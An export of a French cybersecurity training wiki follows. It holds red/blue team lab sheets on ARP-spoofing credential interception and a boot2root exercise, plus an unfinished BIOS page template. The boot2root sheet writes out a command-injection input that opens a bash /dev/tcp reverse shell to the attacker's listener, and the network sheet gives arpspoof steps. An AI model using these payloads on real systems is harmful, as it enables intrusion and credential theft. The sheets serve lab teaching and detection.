# 00 - A rédiger

# Fiches TP

# Fiche TP - Kali 02 - intrusion réseau

### <span style="text-decoration: underline;">**<span style="color: rgb(52,73,94); text-decoration: underline;">I. Introduction</span>**</span>

<p class="callout danger">**Disclaimer** : Merci de lire les notes suivantes avant d'aller plus loin dans ces TP.</p>

- Il est essentiel d'avoir pris connaissance et signé le contrat remis par le moniteur chargé des cours en cybersécurité.
- Ces TP ont pour vocations à être utilisés dans les environnement de tests prévus à cet effet.
- Pour rappel, toute utilisation des compétences évoqués plus bas à des fins malveillantes sont sévèrement punies par la loi.

#### <span style="color: rgb(35,111,161);">***1.1 Contexte***</span>

<table id="bkmrk-%C2%A0-%C2%A0-%C2%A0-la-soci%C3%A9t%C3%A9-ban" style="border-collapse: collapse; width: 100%; height: 192.391px;"><colgroup><col style="width: 27.0238%;"></col><col style="width: 72.9762%;"></col></colgroup><tbody><tr style="height: 192.391px;"><td style="border-style: none; height: 192.391px;">[![logo.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/logo-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/logo-png.png)

</td><td style="border-style: none; height: 192.391px;">Suite à son premier audit de sécurité, la société bancaire VulnBank à décidé d'auditer de nouveau son service, mais en se penchant plus cette fois-ci sur l'aspect réseau.

Elle vous a donc missionné pour tester plusieurs scénarii d'intrusion réseau et notamment en terme d'interception de données.

</td></tr></tbody></table>

#### ***<span style="color: rgb(35,111,161);">1.2 Objectifs</span>***

<table id="bkmrk-d%C3%A9roul%C3%A9-d%27une-attaqu" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td class="align-center" style="border-style: hidden;">Déroulé d'une attaque :</td><td class="align-center" style="border-style: hidden;">Processus de défense ( PICERL )</td></tr><tr><td class="align-center" style="border-style: hidden;"><div drawio-diagram="379"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772624600-png.png" alt="drawing-1-1772624600.png"/></div>

</td><td class="align-center" style="border-style: hidden;"><div drawio-diagram="347"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772115528-png.png" alt="drawing-1-1772115528.png"/></div>

</td></tr></tbody></table>

L'objectif de la team <span style="color: rgb(186,55,42);">***RED***</span> va être ici de dérouler les différents scenarii des attaques et d'en rapporter les résultats. Le but ultime est d'essayer de cibler les clients en interceptant des échanges ou des informations et de gagner ainsi l'accès à l'espace d'un client afin de réaliser un virement sur un compte fictif.

L'objectif de la team <span style="color: rgb(35,111,161);">***BLUE***</span> va être de suivre les agissements de la <span style="color: rgb(186,55,42);">***RED*** </span>team afin d'analyser les indicateurs clés des symptômes des attaques et en essayant de trouver à posteriori des mesures pour contrer ce type d'attaques.

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**II. Préparation du TP**</span>

<table id="bkmrk-red-blue-installer-u" style="border-collapse: collapse; width: 100%; height: 59.5938px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(186,55,42);">***RED***</span></td><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(35,111,161);">***BLUE***</span></td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">- Installer une machine Kali standard

</td><td style="height: 29.7969px;">- Installer un serveur Debian et le préparer avec le script fourni.

</td></tr></tbody></table>

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**III. Scenario 1 : Récupération d'identifiants par email**</span>

<details id="bkmrk-pour-la-red-team-l%27%C3%A9"><summary>Pour la RED team</summary>

**<span style="text-decoration: underline;">Objectif :</span>** Extraire les informations nécessaire à une usurpation d'identité depuis un mail intercepté.

L'équipe <span style="color: rgb(186,55,42);">***RED***</span> a eu accès à un fichier EML d'un email intercepté par un sniffeur.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/cHeimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/cHeimage-png.png)

Dans ce mail, il y a en pièce jointe un fichier ZIP protégé par mot de passe.

Le mail contient déjà toutes les information nécessaires pour deviner le mot de passe.

Pour l'information manquante, 3 approches :

</details><details id="bkmrk-pour-la-blue-team-%C2%A0"><summary>Pour la BLUE team</summary>

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**Scenario 2 : Man in the middle, MAC Spoofing**</span>

<details id="bkmrk-pour-la-red-team-l%27%C3%A9-1"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif :**</span> Intercepter le flux de donnée afin de récupérer les identifiants.

Dans un premier temps, l'équipe <span style="color: rgb(186,55,42);">***RED***</span> va scaner le réseau pour déterminer l'ip de la victime dont nous allons intercepter les flux.

Ainsi que l'ip du serveur web duquel nous allons usurper l'identité sur le réseau ou le cas échéant du routeur.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/qiGimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/qiGimage-png.png)

*Ici : la victime est 192.168.41.231 et celle du serveur web à usurper est la 192.168.41.228.*

Pour lancer l'attaque, la première action est d'activer l'<span style="color: rgb(132,63,161);">***IP forwarding***</span>.

Cela permettra de rediriger les requêtes après l'interception sur le serveur légitime afin d'être transparent vis à vis de la cible.

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Puis lancer l'usurpation de la MAC address.

<p class="callout info">**Info** : Cette attaque cible la couche 2 du modèle OSI. Elle a pour but de spammer la cible de réponses ARP forgées pour empoisonner sa table ARP afin d'usurper l'identité d'une autre machine sur le réseau.</p>

```
arpspoof -i <NomInterfaceRéseau> -t <ipVictime> <ipServeur>
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/xL3image-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/xL3image-png.png)

Il est temps de lancer une capture wireshark. Utiliser le filtre

```
ip.dst == <ipDuServerWeb> && tcp.port == 80
```

Attendre que la victime tente une connexion.

Retrouver sur wireshark la requête <span style="color: rgb(132,63,161);">***POST***</span>.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/Ewzimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/Ewzimage-png.png)

Les informations apparaissent dans la requête, il n'y a plus qu'a tenter une connexion.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/h8Limage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/h8Limage-png.png)

<span style="text-decoration: underline;">**Livrables attendus :**</span>

- Preuves d'accès (captures d'écran de la page web).
- Méthodes utilisées, captures d'écran (wireshark, etc...).

</details><details id="bkmrk-pour-la-blue-team-de"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif :**</span> Constater l'empoisonnement de cache ARP de la machine.

De son côté, l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> va vérifier initialement la table MAC de sa machine :

```
arp
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/X4jimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/X4jimage-png.png)

Puis, suite aux actions de <span style="color: rgb(186,55,42);">***RED***</span>, relancer cette vérification

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/mafimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/mafimage-png.png)

l'adresse MAC correspondant à l'ip de la machine à changé.

Au signal de l'équipe <span style="color: rgb(186,55,42);">***RED***</span>, l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> va se connecter sur le site web de la banque.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/Pqlimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/Pqlimage-png.png)

L'idée pour l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> est d'arriver sur les pistes de réflexions suivantes :

- Comment se prémunir d'une attaque par empoisonnement ARP ?
- En quoi le protocole http est-il à proscrire ?
- Si non possibilité de https, quelle aurait été la solution

*Mettre en place des politiques de filtrage MAC pour n'autoriser que les PC connus sur le réseau.*

*Mettre en place des sécurité sur les équipements réseaux.*

*Préférer le https au http car le trafic est chiffré. Faire également attention aux certificats.*

*Procéder au hash du mot de passe côté client en amont de la requête POST.*

</details>---

<p class="callout success">***Phase intermédiaire*** : Passer les serveurs web en https.</p>

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**Scenario 3 : Man in the Middle, DNS spoofing &amp; fake page**</span>

<details id="bkmrk-pour-la-red-team-l%27%C3%A9-2"><summary>Pour la RED team</summary>

</details><details id="bkmrk-pour-la-blue-team-de-1"><summary>Pour la BLUE team</summary>

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**Conclusion**</span>

A la fin de cet exercice, les deux équipes ont pu constater l'importance de la bonne sécurisation du réseau et l’intérêt d'une politique de zero trust.

Aujourd'hui, l'utilisation de protocoles sécurisés en lieu et place des anciens protocoles est primordiale pour éviter toute interception, falsification ou usurpation du trafic réseau.

Les failles exploitées ici sont avant tout des failles systémiques dans le fonctionnement des protocoles non sécurisés.

# Fiche TP - Kali 03 - Boot2root

### <span style="text-decoration: underline;">**<span style="color: rgb(52,73,94); text-decoration: underline;">I. Introduction</span>**</span>

<p class="callout danger">**Disclaimer** : Merci de lire les notes suivantes avant d'aller plus loin dans ces TP.</p>

- Il est essentiel d'avoir pris connaissance et signé le contrat remis par le moniteur chargé des cours en cybersécurité.
- Ces TP ont pour vocations à être utilisés dans les environnement de tests prévus à cet effet.
- Pour rappel, toute utilisation des compétences évoqués plus bas à des fins malveillantes sont sévèrement punies par la loi.

#### <span style="color: rgb(35,111,161);">***1.1 Contexte***</span>

<table id="bkmrk-%C2%A0-%C2%A0-%C2%A0-la-soci%C3%A9t%C3%A9-ban" style="border-collapse: collapse; width: 100%; height: 192.391px;"><colgroup><col style="width: 27.0238%;"></col><col style="width: 72.9762%;"></col></colgroup><tbody><tr style="height: 192.391px;"><td style="border-style: none; height: 192.391px;">[![logo-large.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/logo-large.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/logo-large.png)

</td><td style="border-style: none; height: 192.391px;">L'entreprise à mis en place un nouveau système de monitoring sur une machine critique.

Celui-ci a été vibe codé par l'un des administrateur en s'aidant de l'IA locale.

Mais cette IA reste simpliste et cela introduira invariablement des vulnérabilités dans le système.

Dans ce cadre, l'entreprise a initialement demandé à son équipe SOC de réaliser un audit de l'application web.

Mais comme vous le verrez, cela pourra aller bien plus loin que prévu.

</td></tr></tbody></table>

#### ***<span style="color: rgb(35,111,161);">1.2 Objectifs</span>***

<table id="bkmrk-d%C3%A9roul%C3%A9-d%27une-attaqu" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr><td class="align-center" style="border-style: hidden;">Déroulé d'une attaque :</td><td class="align-center" style="border-style: hidden;">Processus de défense ( PICERL )</td></tr><tr><td class="align-center" style="border-style: hidden;"><div drawio-diagram="346"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772114945-png.png" alt="drawing-1-1772114945.png"/></div>

</td><td class="align-center" style="border-style: hidden;"><div drawio-diagram="347"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1772115528-png.png" alt="drawing-1-1772115528.png"/></div>

</td></tr></tbody></table>

L'objectif de la team <span style="color: rgb(186,55,42);">***RED***</span> va être ici de dérouler le processus de l'attaque sur un serveur linux contenant un accès SSH protégé et un site en http.

Le but final est de prouver jusqu'où elle a pu aller en fournissant un rapport montrant les 3 étapes franchies.

- Celle sur le site de l'application prouvant l'accès initial.
- Celle sur le shell de l'utilisateur web prouvant la compromission de la machine.
- Celle de l'injection de la clé ssh prouvant la persistance.
- Celle montrant le contenu de /root, prouvant la réussite d'une escalade de privilège.
- Celle de la page du service web inaccessible, prouvant la réussite de l'arrêt du service.

L'objectif de la team <span style="color: rgb(35,111,161);">***BLUE***</span> est de répondre à l'incident en procédant pas à pas à une analyse forensique de l'attaque.

Le but final est de fournir un rapport sur les traces laissées par les attaquants.

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**II. Préparation du TP**</span>

<table id="bkmrk-red-blue-installer-u" style="border-collapse: collapse; width: 100%; height: 59.5938px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(186,55,42);">***RED***</span></td><td class="align-center" style="height: 29.7969px;"><span style="color: rgb(35,111,161);">***BLUE***</span></td></tr><tr style="height: 29.7969px;"><td style="height: 29.7969px;">- Installer une machine Kali standard

</td><td style="height: 29.7969px;">- Installer un serveur Ubuntu et le préparer avec le script fourni.

</td></tr></tbody></table>

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**III. Phase 1 : Reconnaissance**</span>

<p class="callout info"><span style="color: rgb(52, 73, 94);">**Info** : l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> va fournir l'ip de ses machines à leurs collègue <span style="color: rgb(186,55,42);">***RED***</span>. On part en effet du principe que c'est un audit interne réalisé par l'équipe SOC.</span></p>

<details id="bkmrk-pour-la-red-team-l%27%C3%A9"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Identifier les surfaces d'attaques

La phase de reconnaissance s'effectue en 2 temps :

L'équipe <span style="color: rgb(186,55,42);">***RED***</span> va tout d'abord scanner la machine de l'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> afin d'en déterminer la surface d'attaque.

```
nmap -sN -sV <ip machine>
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/AwZimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/AwZimage.png)

Il est possible de voir que 2 angles d'attaques sont possibles.

- Le SSH (version 10.2p1)
- le serveur web (apache 2.4.66)

Un premier test est effectué sur le ssh :

```
ssh user@<ip machine>
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/z2jimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/z2jimage.png)

Le serveur répond que seule l'authentification par clé publique est autorisée.

Cette voie parait donc compliquée mais le serveur web à répondu.

Il est possible de tenter une connexion.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/yajimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/yajimage.png)

Pour entrer ici, deux solutions sont possibles :

1. Utiliser les outils de DEV du navigateur (F12).
2. Scanner le site et trouver un fichier qui contiendrait des informations.

La méthode 1 sera explorée.

Ouvrir les outils de dev avec 'F12'. Il y a un onglet "Réseau".

Si la page est rechargée, l'ensemble des fichiers chargés côté client vont s'afficher.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/d5dimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/d5dimage.png)

<p class="callout info">**Info** : Examiner les différents fichiers pour trouver la porte d'entrée.</p>

A ce stade, l'accès au dashboard devrait être terminé.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/uyyimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/uyyimage.png)

Un autre onglet est visible, il permet d'effectuer un test ping.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/vr3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/vr3image.png)

</details><details id="bkmrk-pour-la-blue-team-%C2%A0"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les traces de la reconnaissance

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pas pouvoir immédiatement voir les traces de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> sur la partie scan. En effet, le nmap n'effectuant au niveau réseau qu'un TCP SYN mais n'établissant pas de connexion complète, les traces ne sont pas visibles.

En revanche, la tentative de connexion ssh échouée aura laissé des traces.

Celles-ci sont visibles ici :

```
tail -f /var/log/auth.log | grep sshd-session
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/gyZimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/gyZimage.png)

<p class="callout info">**Info** : La donnée importante ici est la raison de l'échec de connexion \[preauth\]. C'est elle qui confirme que la méthode d'accès (login/mdp) est incorrecte car le SSH est paramétré pour accepter les clés.</p>

Les logs apache permettrons de voir les opérations entreprises.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/Mk4image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/Mk4image.png)

Ici, il est possible de repérer l'ip de l’attaquant et de voir les requêtes GET et POST jouées.

Cependant, vu qu'il ne s'agit pas de 'brute force', pas de traces réellement significatives.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**IV. Phase 2 : Préparation**</span>

Pas de phase de préparation sur cet exercice.

Cependant, il peut être intéressant de faire connaissance avec une technique qui va être utilisée plus loin.

<details id="bkmrk-le-reverse-shell-la-"><summary>Le reverse shell</summary>

La technique du reverse shell vise à contourner un problème de flux entrant bloqué, en inversant le sens de connexion au niveau TCP.

Pour initier une connexion et ouvrir un shell à distance, il faut que l'attaquant ouvre une connexion vers la machine cible (en ssh par exemple).

<div drawio-diagram="2833"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787059846.png" alt=""/></div>

Mais si il y a un pare-feu entre les deux, il peut être configuré pour bloquer les connexions entrantes.

<div drawio-diagram="2835"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787060064.png" alt=""/></div>

Cependant, il est rare quun pare-feu en configuration par défaut bloque les flux sortants.

L'idée ici est donc d'exécuter sur la machine cible une commande afin qu'elle même initie une connexion sortante vers le poste de l'attaquant.

<div drawio-diagram="2836"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-08/drawing-1-1787060308.png" alt=""/></div>

De cette manière, c'est la cible qui initie la connexion.

Pour que cela soit réalisable, il faut 3 conditions :

- l'attaquant doit préalablement être en écoute sur le socket qui servira à établir la connexion.
- le traffic sortant doit être autorisé sur le port de sortie choisi.
- l'attaquant doit livrer la commande malveillante à la cible, d'une manière ou dune autre.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**V**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 3 : Accès initial**</span>

<details id="bkmrk-pour-la-red-team-obj"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Gagner un accès au système.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/vr3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/vr3image.png)

Le retour visible sur cet écran est un retour d'une commande système.

Il peut en être déduit le comportement suivant :

1. une ip est entrée dans le champ
2. le technicien appuie sur le bouton 'ping'
3. le bouton appelle une fonction php qui fait un appel système et lui passe la commande 'ping -c 1 $IP'
4. le système exécute la commande, et renvoie le résultat dans une file de sortie
5. une fonction lit la file de sortie et l'affiche sur la page.

Une fois ce principe compris, il est temps de voir si ce champ est protégé contre l'injection de code vers le système.

il va falloir pour cela utiliser l'opérateur '<span style="color: rgb(132, 63, 161);">***&amp;&amp;***</span>'. Celui-ci permettra d'entrer l'adresse ip, puis de terminer la commande et enchaîner sur une seconde commande. ici '<span style="color: rgb(132, 63, 161);">***id***</span>', permettant de voir les identifiants pour l'utilisateur exécutant le service apache.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/JUMimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/JUMimage.png)

 Cela sera une preuve de la vulnérabilité qui pourra être soumise à <span style="color: rgb(35,111,161);">***BLUE***</span>.

Il est donc possible d'ouvrir ce que l'on appelle un '<span style="color: rgb(132, 63, 161);">***reverse shell***</span>' ou shell inversé.

Cela se fait en 2 temps :

- l'attaquant ouvre une fenêtre de console sur le poste d'attaque et y entre la commande :

```
nc -lvnp 4444
```

Cela ouvre un socket RAW en écoute sur le port 4444.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/L1Rimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/L1Rimage.png)

- Puis dans le champ de l'adresse IP sur la page, entrer :

```
8.8.8.8 && /bin/bash -c '/bin/bash -i >& /dev/tcp/<ip attaquant>/4444 0>&1'
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/jFRimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/jFRimage.png)

Ce qui aura pour effet de connecter le reverse shell.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/Yk3image.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/Yk3image.png)

*<span style="text-decoration: underline;">**?Que viens t-il de se passer !?**</span>*

Pour le savoir, il faut décortiquer la commande donnée à la machine :

<table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 26.0779%;"></col><col style="width: 73.9221%;"></col></colgroup><tbody><tr><td>**8.8.8.8**</td><td>adresse de la machine à ping (elle viens compléter la commande 'ping -c 1').</td></tr><tr><td>**&amp;&amp;**</td><td>lance une nouvelle commande après la fin de la précédente.</td></tr><tr><td>**/bin/bash -c ''**</td><td>exécute la commande bash suivante (donnée àprès le -c)</td></tr><tr><td>**/bin/bash -i**</td><td>Ouvre un terminal en mode interacti.</td></tr><tr><td>**&gt;&amp;**</td><td>redirrige le STDerr et le STDout vers ...</td></tr><tr><td>**/dev/tcp/&lt;ip&gt;/&lt;port&gt;**</td><td>le socket réseau défini ici</td></tr><tr><td>**0&gt;&amp;1**</td><td>Redirrige également le STDin vers le même flux que STDout.</td></tr></tbody></table>

</details><details id="bkmrk-pour-la-blue-team-ob"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les preuves de l'accès au système

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pouvoir voir les traçes laissées par les actions de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> lors de l'injection de la commande leur permettant d'ouvrir le reverse shell.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/PNJimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/PNJimage.png)

Pour confirmer celle-ci, il est possible d'afficher les processus :

```
ps aux
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/oIYimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/oIYimage.png)

Et de voir les processus du reverse shell ouvert par <span style="color: rgb(186,55,42);">***RED***</span>.

</details>---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**VI**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 4 : Mouvement latéral**</span>

Pas de mouvement latéral prévu dans ce TP.

---

### <span style="text-decoration: underline; color: rgb(52,73,94);">**VII**</span><span style="text-decoration: underline; color: rgb(52,73,94);">**. Phase 5 : Escalade de privilège**</span>

<details id="bkmrk-pour-la-red-team-obj-1"><summary>Pour la RED team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Gagner des privilèges plus élevés sur la machine

</details><details id="bkmrk-pour-la-blue-team-ob-1"><summary>Pour la BLUE team</summary>

<span style="text-decoration: underline;">**Objectif**</span><span style="text-decoration: underline;"> :</span> Observer les traces de la reconnaissance

L'équipe <span style="color: rgb(35,111,161);">***BLUE***</span> ne va pouvoir voir les traçes laissées par les actions de l'équipe <span style="color: rgb(186,55,42);">***RED***</span> lors de l'injection de la commande leur permettant d'ouvrir le reverse shell.

```
tail -f /var/log/apache2/access.log
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/PNJimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/PNJimage.png)

Pour confirmer celle-ci, il est possible d'afficher les processus :

```
ps aux
```

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-08/scaled-1680-/oIYimage.png)](https://docs.labs404.fr/uploads/images/gallery/2026-08/oIYimage.png)

Et de voir les processus du reverse shell ouvert par <span style="color: rgb(186,55,42);">***RED***</span>.

</details>

# Hardware

# Système - Le BIOS / UEFI

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

